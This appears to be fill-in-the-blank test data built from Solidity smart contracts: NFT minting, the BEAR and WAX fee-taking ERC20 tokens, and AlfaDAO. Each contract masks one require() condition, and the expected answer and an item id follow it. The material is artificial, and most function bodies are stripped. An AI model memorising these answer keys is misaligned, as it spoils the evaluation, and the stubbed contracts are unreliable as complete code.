address sender; uint8 v; bytes32 r; bytes32 s; } // Payment split. address[] private payeesList = [ address(0x4BC15535beb2128E6DEbb7B60DBd65BcBA73943A), address(0x8f505b39a533cE343321341e8CA7102E6b9571e3), address(0x729f98a80dc90b063635F96b88b6DAc2E94e958D) ]; uint256[] private sharesList = [uint256(76), uint256(15), uint256(9)]; constructor() ERC721A(TOKEN_NAME, TOKEN_SYMBOL) PaymentSplitter(payeesList, sharesList) {} /* Reveal control */ // Set the post-reveal base uri. This base uri is used when the collection has // been revealed. The default base uri is empty, so this has to be set before revealing. // Only callable by owner. function setBaseURI(string memory newBaseURI) external onlyOwner { } // Set the pre-reveal base uri. This base uri is used when the collection has // not been revealed yet. The default base uri is empty, so this has to be set before minting. // Only callable by owner. function setPreRevealBaseURI(string memory newBaseURI) external onlyOwner { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getBaseURI() external view onlyOwner returns (string memory) { } // Get the currently set pre-reveal base uri. This base uri is used when the // collection has not been revealed yet. // Only callable by owner. function getPreRevealBaseURI() external view onlyOwner returns (string memory) { } // Set wether the collection should be revealed or not. Function _baseURI() returns // different base uris for the two different states. The smart contracts defaults // the collection not being revealed. Be sure to set the post reveal base uri using setBaseURI(). // Only callable by owner. function setRevealed(bool state) external onlyOwner { } /* Minting control */ // Enable whitelist minting. Only callable by owner. function setWhitelistMinting(bool state) external onlyOwner { } // Enable public minting. Only callable by owner. function setPublicMinting(bool state) external onlyOwner { } /* Whitelist control */ // Set the merkle tree root for the whitelisted mint list. Only callable by owner. function setWhitelistMerkleRoot(bytes32 merkleRoot) external onlyOwner { } // Get the merkle tree root for the whitelisted mint list. Only callable by owner. function getWhitelistMerkleRoot() external view onlyOwner returns (bytes32) { } // Wether a whitelist mint spot has been claimed yet or not. function hasWhitelistClaimed() external view returns (bool) { } /* Free minting control */ // Set the merkle tree root for the free mint list. Only callable by owner. function setFreeMintAddress(address addr) external onlyOwner { } // Get the merkle tree root for the free mint list. Only callable by owner. function getFreeMintAddress() external view onlyOwner returns (address) { } // Wether a free mint coupon has been claimed yet or not. function isFreeMintClaimed(bytes32 coupon) external view returns (bool) { } /* Minting */ // Modifier that reverts when whitelist minting is not enabled. modifier whitelistMintEnabled() { } // Modifier that reverts when public minting is not enabled. modifier publicMintEnabled() { } function mintHandleWhitelist( uint256 quantity, bytes32[] calldata whitelistProof ) private { } function mintHandlePublic(uint256 quantity) private { } function mintHandleCoupon(SignedCoupon calldata signedCoupon) private { } // Whitelist mint function mintWhitelist(uint256 quantity, bytes32[] calldata whitelistProof) external payable whitelistMintEnabled { } function mintWhitelistCoupon( uint256 quantity, bytes32[] calldata whitelistProof, SignedCoupon calldata signedCoupon ) external payable whitelistMintEnabled { } // Public mint function mint(uint256 quantity) external payable publicMintEnabled { } function mintCoupon(uint256 quantity, SignedCoupon calldata signedCoupon) external payable publicMintEnabled { } // Owner mint function mintOwner(uint256 quantity) external onlyOwner { } // Mint function all methods above call function doMint(uint256 quantity, uint256 mintPrice) private { require(quantity > 0, "cannot mint 0 tokens"); require( (msg.sender == owner() && quantity <= 30) || quantity <= BATCH_MINT_MAX, "too many tokens in one batch" ); uint256 nextTokenId = _nextTokenId(); require(nextTokenId < TOTAL_SUPPLY, "sold out"); require(<FILL_ME>) require( mintPrice == 0 || msg.value >= mintPrice * quantity, "not enough eth to mint" ); _mint(msg.sender, quantity); } /* ERC721A Overrides */ // Returns either the public or pre-reveal base uri for the token metadata. function _baseURI() internal view virtual override returns (string memory) { } }
nextTokenId+(quantity-1)<TOTAL_SUPPLY,"not enough tokens left for mint"
228,208
nextTokenId+(quantity-1)<TOTAL_SUPPLY
"Too low"
/** $BEAR Eth - Bringing the bear into the bull! https://twitter.com/BearIntoABull https://t.me/tbeareth https://www.bearish.app */ pragma solidity 0.8.23; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20{ function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() external virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { } function _revert(bytes memory returndata, string memory errorMessage) private pure { } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { } function _callOptionalReturn(IERC20 token, bytes memory data) private { } function safeApprove(IERC20 token, address spender, uint256 value) internal { } } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable; function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Bear is ERC20, Ownable { mapping (address => bool) public feeExempt; mapping (address => bool) public limitExempt; bool public tradingActive; address creator; mapping (address => bool) public isPair; uint256 public maxTxn; uint256 public maxWallet; address public taxWallet; uint256 public totalBuyTax; uint256 public totalSellTax; bool public limits = true; bool public swapEnabled = true; bool private swapping; uint256 public swapTokensAtAmt; address public lpPair; IDexRouter public router; event UpdatedmaxTxn(uint256 newMax); event UpdatedMaxWallet(uint256 newMax); event SetFeeExempt(address _address, bool _isExempt); event SetLimitExempt(address _address, bool _isExempt); event LimitsRemoved(); event UpdatedBuyTax(uint256 newAmt); event UpdatedSellTax(uint256 newAmt); //subcontract constructor constructor () ERC20("Bear", "BEAR") { } function setFeeExempt(address _address, bool _isExempt) external onlyOwner { } function setLimitExempt(address _address, bool _isExempt) external onlyOwner { } function updateSwapTokensAmount(uint256 _amount) external onlyOwner{ } function updateMaxTxn(uint256 _maxTxn) external onlyOwner { require(_maxTxn > maxTxn, "Only higher"); require(_maxTxn <= totalSupply()); require(<FILL_ME>) maxTxn = _maxTxn * (10**decimals()); emit UpdatedmaxTxn(maxTxn); } function updateMaxWallet(uint256 _maxWallet) external onlyOwner { } function updateBuyTax(uint256 _buyTax) external onlyOwner { } function updateSellTax(uint256 _sellTax) external onlyOwner { } function startTrading() external onlyOwner { } function removeLimits() external { } function airdropToWallets(address[] calldata wallets, uint256[] calldata amounts) external { } function removeForeignTokens(address _token, address _to) external onlyOwner { } function clearStuckBalance() external onlyOwner{ } function updateTaxWallet(address _address) external onlyOwner { } function _transfer( address from, address to, uint256 amount ) internal virtual override { } function checkLimits(address from, address to, uint256 amount) internal view { } function takeFees(address from, address to, uint256 amount) internal returns (uint256){ } function swapTokensForETH(uint256 tokenAmt) private { } function swapBack() private { } }
_maxTxn>=(totalSupply()*5/1000)/(10**decimals()),"Too low"
228,390
_maxTxn>=(totalSupply()*5/1000)/(10**decimals())
"Too low"
/** $BEAR Eth - Bringing the bear into the bull! https://twitter.com/BearIntoABull https://t.me/tbeareth https://www.bearish.app */ pragma solidity 0.8.23; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20{ function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() external virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { } function _revert(bytes memory returndata, string memory errorMessage) private pure { } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { } function _callOptionalReturn(IERC20 token, bytes memory data) private { } function safeApprove(IERC20 token, address spender, uint256 value) internal { } } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable; function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Bear is ERC20, Ownable { mapping (address => bool) public feeExempt; mapping (address => bool) public limitExempt; bool public tradingActive; address creator; mapping (address => bool) public isPair; uint256 public maxTxn; uint256 public maxWallet; address public taxWallet; uint256 public totalBuyTax; uint256 public totalSellTax; bool public limits = true; bool public swapEnabled = true; bool private swapping; uint256 public swapTokensAtAmt; address public lpPair; IDexRouter public router; event UpdatedmaxTxn(uint256 newMax); event UpdatedMaxWallet(uint256 newMax); event SetFeeExempt(address _address, bool _isExempt); event SetLimitExempt(address _address, bool _isExempt); event LimitsRemoved(); event UpdatedBuyTax(uint256 newAmt); event UpdatedSellTax(uint256 newAmt); //subcontract constructor constructor () ERC20("Bear", "BEAR") { } function setFeeExempt(address _address, bool _isExempt) external onlyOwner { } function setLimitExempt(address _address, bool _isExempt) external onlyOwner { } function updateSwapTokensAmount(uint256 _amount) external onlyOwner{ } function updateMaxTxn(uint256 _maxTxn) external onlyOwner { } function updateMaxWallet(uint256 _maxWallet) external onlyOwner { require(_maxWallet > maxWallet, "Only higher"); require(_maxWallet <= totalSupply()); require(<FILL_ME>) maxWallet = _maxWallet * (10**decimals()); emit UpdatedMaxWallet(maxWallet); } function updateBuyTax(uint256 _buyTax) external onlyOwner { } function updateSellTax(uint256 _sellTax) external onlyOwner { } function startTrading() external onlyOwner { } function removeLimits() external { } function airdropToWallets(address[] calldata wallets, uint256[] calldata amounts) external { } function removeForeignTokens(address _token, address _to) external onlyOwner { } function clearStuckBalance() external onlyOwner{ } function updateTaxWallet(address _address) external onlyOwner { } function _transfer( address from, address to, uint256 amount ) internal virtual override { } function checkLimits(address from, address to, uint256 amount) internal view { } function takeFees(address from, address to, uint256 amount) internal returns (uint256){ } function swapTokensForETH(uint256 tokenAmt) private { } function swapBack() private { } }
_maxWallet>=(totalSupply()*5/1000)/(10**decimals()),"Too low"
228,390
_maxWallet>=(totalSupply()*5/1000)/(10**decimals())
"Exceeds supply"
// SPDX-License-Identifier: MIT /** * * █████╗ ██╗ ███████╗ █████╗ ██████╗ █████╗ ██████╗ * ██╔══██╗██║ ██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔═══██╗ * ███████║██║ █████╗ ███████║██║ ██║███████║██║ ██║ * ██╔══██║██║ ██╔══╝ ██╔══██║██║ ██║██╔══██║██║ ██║ * ██║ ██║███████╗██║ ██║ ██║██████╔╝██║ ██║╚██████╔╝ * ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ * * https://alfadao.org * https://twitter.com/AlfaDAO_ * https://discord.gg/alfadao * */ pragma solidity 0.8.13; contract OwnableDelegateProxy {} /** * Used to delegate ownership of a contract to another address, to save on unneeded transactions to * approve contract use for users. */ contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./common/meta-transactions/ContentMixin.sol"; import "./common/meta-transactions/NativeMetaTransaction.sol"; contract AlfaDAO is ERC721, ERC721Enumerable, Ownable, ReentrancyGuard, ContextMixin, NativeMetaTransaction { using SafeMath for uint256; uint256 public constant MAX_SUPPLY = 1000; bool public saleActive = false; address proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1; uint256 public mintFee; string public baseURI; bytes32 public merkleRoot; constructor( uint256 _mintFee, string memory _base, bytes32 _merkleRoot ) ERC721("AlfaDAO", "ALFA") { } function whitelistMint(address _account, bytes32[] calldata _merkleProof) external payable nonReentrant { } function activeMint(uint256 _mintCount) external payable nonReentrant { require(msg.value == mintFee.mul(_mintCount), "Wrong payment"); require(saleActive, "Sale inactive"); require(<FILL_ME>) for (uint256 i = 0; i < _mintCount; i++) { uint256 mintIndex = totalSupply(); if (totalSupply() < MAX_SUPPLY) { _safeMint(msg.sender, mintIndex); } } } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function setMintFee(uint256 _mintFee) external onlyOwner { } function _baseURI() internal view override returns (string memory) { } function setBaseURI(string memory _base) external onlyOwner { } function baseTokenURI() public view returns (string memory) { } function withdrawEther() external onlyOwner { } function toggleActiveSales() external onlyOwner { } function contractURI() public view returns (string memory) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) public view override(ERC721, IERC721) returns (bool) { } /** * This is used instead of msg.sender as transactions won't be sent by the original * token owner, but by OpenSea. */ function _msgSender() internal view override returns (address sender) { } }
totalSupply().add(_mintCount)<=MAX_SUPPLY,"Exceeds supply"
228,401
totalSupply().add(_mintCount)<=MAX_SUPPLY
"not enough funds to burn"
// SPDX-License-Identifier: MIT /* @@@@@@@@@@@@@&&#55J?!77777777!?Y55#&&@@@@@@@@@@@@@ @@@@@@@@@@&B5?777?J5PB#&&&&#BP5J?777?5#&@@@@@@@@@@ @@@@@@@&#57!7YPB&@@@@@@&@@@@@@@@@&BPY?!75#&@@@@@@@ @@@@@@57!!?G&@@@@@@@@@&7?#@@@@@@@@@@@&GJ!!?P@@@@@@ @@@@BY!!?P&@@@@@@@@@@@@B:~&@@@@@@@@@@@@&G?!!Y#@@@@ @@@G7!JB&@@@@@@@@@@@@@@J:.?&@@@@@@@@@@@@@&BJ!7B@@@ @@5!!P@@@@@@@@@@@@@@@B!.:..~7&@@@@@@@@@@@@@@P77P@@ @G!!P@@@@@@@@@@@@@@&?7:^7!:.:#@@@@@@@@@@@@@@@P77G@ #7!?&@@@@@@@@@@@@@@&7!!??7~~7&@@@@@@@@@@@@@@@@J7?& 577B@@@@@@@@@@@@@&&&&G?GP!!P#&&&@@@@@@@@@@@@@@#??P 77P@@@@@@@@@@@@@&~~~77JGG~7!~^~!#@@@@@@@@@@@@@@G?? 77&@@@@@@@@@@@@@#::^:::^~::^^^^?&@@@@@@@@@@@@@@&J? 77&@@@@@@@@@@@@@&~^^^^^^^^~~~~!?&@@@@@@@@@@@@@@&J? 77P@@@@@@@@@@@@@&~^^~^^^^^!7~!7?&@@@@@@@@@@@@@@G?? Y7?B@@@@@@@@@@@@&!~!!^^^~!!7!!7J&@@@@@@@@@@@@@#J?5 #?7J&@@@@@@@@@@@&7!77~~^~!77?7?J&@@@@@@@@@@@@@Y??# @G77P@@@@@@@@@@@&7!!!!!^~!77?7?J&@@@@@@@@@@@@G??G@ @@5?7P@@@@@@@@@@&?77777~!!7??7?J&@@@@@@@@@@@G??5@@ @@@G?7YB&@@GP7777!!77??!777????75?????GG&@#Y??G@@@ @@@@#57?YP7^^~~^^~~~^~~!7!7??7~~~^~~~^^^?Y??5#@@@@ @@@@@@P??77!!!!~~!!~~~^~!!7??7^~!~~~~~!7???P&@@@@@ @@@@@@@&#PJ?777!!7!~~!!!7777!!^~!!!!77?JP#&@@@@@@@ @@@@@@@@@@&#PJJ????777777777!777???JJPB&@@@@@@@@@@ @@@@@@@@@@@@@&&#PPYJ??????????JYPP#&&@@@@@@@@@@@@@ */ /* The Burning Candle. A revolutionized deflationary token that rewards holders. Telegram: https://t.me/theburningcandle Website: https://www.candlewax.io X: https://twitter.com/candlewax_eth */ pragma solidity =0.8.15; import "./LPShare.sol"; contract Wax is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public router; address public pair; bool private swapping; bool public swapEnabled = true; bool public claimEnabled; bool public tradingEnabled; bool public burnEnabled; WaxDividendTracker public dividendTracker; address public devWallet; uint256 public swapTokensAtAmount; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWallet; uint256 firstBuyTax = 15; uint256 secondBuyTax = 10; uint256 finalBuyTax = 5; uint256 firstSellTax = 20; uint256 secondSellTax = 15; uint256 thirdSellTax = 10; uint256 finalSellTax = 5; uint256 public totalBurned = 0; uint256 public totalBurnRewards = 0; uint256 public burnCapDivisor = 10; // Divisor for burn reward cap per tx uint256 public burnSub1EthCap = 100000000000000000; // cap in gwei if rewards < 1 Eth struct Shares { uint256 liquidity; uint256 dev; uint256 burn; uint256 burnForEth; } Shares public shares = Shares(2, 1, 0, 2); uint256 public totalShares = 5; uint256 private _startTxTimestamp; mapping(address => bool) public _isBot; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public automatedMarketMakerPairs; mapping(address => bool) private _isExcludedFromMaxWallet; /////////////// // Events // /////////////// event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event GasForProcessingUpdated( uint256 indexed newValue, uint256 indexed oldValue ); event SendDividends(uint256 tokensSwapped, uint256 amount); event ProcessedDividendTracker( uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor ); event BurnedTokensForEth( address account, uint256 burnAmount, uint256 ethRecievedAmount ); constructor(address _developerwallet) ERC20("Candle", "WAX") { } receive() external payable {} function updateDividendTracker(address newAddress) public onlyOwner { } function claim() external { } function burnForEth(uint256 amount) public returns (bool) { require(burnEnabled, "Burn not enabled"); require(<FILL_ME>) address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); uint256[] memory a = router.getAmountsOut(amount, path); uint256 cap; if (address(this).balance <= 1 ether) { cap = burnSub1EthCap; } else { cap = address(this).balance / burnCapDivisor; } require(a[a.length - 1] <= cap, "amount greater than cap"); require( address(this).balance >= a[a.length - 1], "not enough funds in contract" ); transferToAddressETH(payable(msg.sender), a[a.length - 1]); super._burn(_msgSender(), amount); totalBurnRewards += a[a.length - 1]; totalBurned += amount; emit BurnedTokensForEth(_msgSender(), amount, a[a.length - 1]); return true; } function updateMaxWalletAmount(uint256 newNum) public onlyOwner { } function setMaxBuyAndSell(uint256 maxBuy, uint256 maxSell) public onlyOwner { } function setSwapTokensAtAmount(uint256 amount) public onlyOwner { } function excludeFromMaxWallet(address account, bool excluded) public onlyOwner { } function rescueETH20Tokens(address tokenAddress) external onlyOwner { } function forceSend() external onlyOwner { } function trackerRescueETH20Tokens(address tokenAddress) external onlyOwner { } function updateRouter(address newRouter) external onlyOwner { } ///////////////////////////////// // Exclude / Include functions // ///////////////////////////////// function excludeFromFees(address account, bool excluded) public onlyOwner { } function excludeFromDividends(address account, bool value) public onlyOwner { } function setDevWallet(address newWallet) public onlyOwner { } function setDistributionSettings( uint256 _liquidity, uint256 _dev, uint256 _burn, uint256 _burnForEth ) external onlyOwner { } function setFinalBuyAndSellTaxes(uint256 _buyTax, uint256 _sellTax) external onlyOwner { } function setSwapEnabled(bool _enabled) external onlyOwner { } function setBurnEnabled(bool _enabled) external onlyOwner { } function activateTrading() external onlyOwner { } function setClaimEnabled(bool state) external onlyOwner { } function setBot(address bot, bool value) external onlyOwner { } function setLP_Token(address _lpToken) external onlyOwner { } function setAutomatedMarketMakerPair(address newPair, bool value) external onlyOwner { } function _setAutomatedMarketMakerPair(address newPair, bool value) private { } ////////////////////// // Getter Functions // ////////////////////// function getTotalDividendsDistributed() external view returns (uint256) { } function isExcludedFromFees(address account) public view returns (bool) { } function withdrawableDividendOf(address account) public view returns (uint256) { } function dividendTokenBalanceOf(address account) public view returns (uint256) { } function getAccountInfo(address account) external view returns ( address, uint256, uint256, uint256, uint256 ) { } //////////////////////// // Transfer Functions // //////////////////////// function _transfer( address from, address to, uint256 amount ) internal override { } function swapAndLiquify(uint256 tokens) private { } function ManualLiquidityDistribution(uint256 amount) public onlyOwner { } function transferToAddressETH(address payable recipient, uint256 amount) private { } function swapTokensForETH(uint256 tokenAmount) private { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { } } contract WaxDividendTracker is Ownable, SharePayingToken { struct AccountInfo { address account; uint256 withdrawableDividends; uint256 totalDividends; uint256 lastClaimTime; } mapping(address => bool) public excludedFromDividends; mapping(address => uint256) public lastClaimTimes; event ExcludeFromDividends(address indexed account, bool value); event Claim(address indexed account, uint256 amount); constructor() SharePayingToken("Wax_Dividend_Tracker", "Wax_Dividend_Tracker") {} function trackerRescueETH20Tokens(address recipient, address tokenAddress) external onlyOwner { } function updateLP_Token(address _lpToken) external onlyOwner { } function _transfer( address, address, uint256 ) internal pure override { } function excludeFromDividends(address account, bool value) external onlyOwner { } function getAccount(address account) public view returns ( address, uint256, uint256, uint256, uint256 ) { } function setBalance(address account, uint256 newBalance) external onlyOwner { } function processAccount(address payable account) external onlyOwner returns (bool) { } }
balanceOf(_msgSender())>=amount,"not enough funds to burn"
228,588
balanceOf(_msgSender())>=amount
"amount greater than cap"
